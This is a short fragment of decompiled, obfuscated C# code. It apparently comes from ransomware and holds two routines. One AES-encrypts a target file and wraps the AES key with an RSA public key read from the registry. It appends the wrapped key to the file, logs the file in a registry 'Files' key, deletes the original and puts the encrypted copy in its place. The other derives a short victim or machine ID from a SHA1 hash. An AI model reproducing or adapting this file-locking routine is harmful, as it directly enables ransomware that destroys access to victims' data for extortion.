public void method_17(string string_7) { string text = Delegate124.smethod_0(Class5.smethod_0 <string>(99835095u, 15038730591190274483uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); string text3 = Delegate124.smethod_0(text, "\\Files"); string text4 = Delegate124.smethod_0(string_7, ".tmp"); AesCryptoServiceProvider object_ = Delegate24.smethod_0(); RSACryptoServiceProvider object_2 = Delegate33.smethod_0(); string text5 = (string)Delegate169.smethod_0(text2, "Public", "No Public Key was found!"); if (Delegate98.smethod_0(text5, "")) { Delegate164.smethod_0(object_2, text5); byte[] byte_ = Delegate168.smethod_0(object_2, Delegate148.smethod_0(object_), false); string object_3 = Delegate153.smethod_1(byte_); using (FileStream fileStream = Delegate32.smethod_0(text4, FileMode.Create)) { using (AesCryptoServiceProvider aesCryptoServiceProvider = Delegate24.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_0(aesCryptoServiceProvider, Delegate148.smethod_0(object_), Delegate148.smethod_0(object_)), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesCryptoServiceProvider, 256); Delegate183.smethod_1(aesCryptoServiceProvider, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } StreamWriter object_4 = Delegate34.smethod_0(text4, true); Delegate187.smethod_0(Delegate186.smethod_0(object_4), 0L, SeekOrigin.End); Delegate150.smethod_0(object_4, object_3); Delegate188.smethod_0(object_4); Delegate127.smethod_0(text3, string_7, Delegate96.smethod_0(object_3), RegistryValueKind.DWord); Delegate100.smethod_1(string_7); Delegate130.smethod_1(text4, string_7); } }
public string method_7() { SHA1CryptoServiceProvider object_ = Delegate23.smethod_0(); AesCryptoServiceProvider object_2 = Delegate24.smethod_0(); Delegate147.smethod_0(object_2, Delegate146.smethod_0(this.string_1)); ICryptoTransform icryptoTransform_ = Delegate149.smethod_0(object_2, Delegate148.smethod_0(object_2), Delegate148.smethod_0(object_2)); using (MemoryStream memoryStream = Delegate25.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(memoryStream, icryptoTransform_, CryptoStreamMode.Write)) { using (StreamWriter streamWriter = Delegate27.smethod_0(cryptoStream)) { Delegate150.smethod_0(streamWriter, this.string_0); } this.string_3 = Delegate135.smethod_0(Delegate153.smethod_0(Delegate152.smethod_0(object_, Delegate151.smethod_0(memoryStream))), "-", ""); } } this.string_3 = Delegate154.smethod_0(this.string_3, 0, 10); return(this.string_3); }